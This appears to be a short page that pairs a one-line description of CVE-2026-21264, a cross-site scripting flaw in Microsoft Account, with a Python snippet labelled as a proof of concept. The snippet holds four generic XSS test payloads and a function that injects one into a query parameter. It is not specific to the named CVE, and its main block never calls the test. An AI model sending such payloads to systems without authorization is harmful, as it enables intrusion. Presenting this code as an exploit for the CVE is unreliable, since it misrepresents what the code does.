Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Account allows an unauthorized attacker to perform spoofing over a network.
The following code is for security research and authorized testing only.
python
import requests
import urllib.parse
# CVE-2026-21264 XSS PoC (Educational Purpose Only)
# This demonstrates how XSS payloads might be constructed
# DO NOT use for unauthorized testing
def generate_xss_payload():
"""Generate basic XSS payloads for testing"""
payloads = [
'<script>alert("XSS")</script>',
'javascript:alert(String.fromCharCode(88,83,83))',
'<img src=x onerror=alert("XSS")>',
'<svg/onload=alert("XSS")>'
]
return payloads
def test_xss_endpoint(url, payload):
"""Test XSS vulnerability (requires authorization)"""
encoded_payload = urllib.parse.quote(payload)
test_url = f"{url}?input={encoded_payload}"
# Note: Only test systems you own or have permission to test
response = requests.get(test_url, timeout=10)
return response.text
if __name__ == "__main__":
print("CVE-2026-21264 XSS PoC - For authorized testing only")
print("Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21264")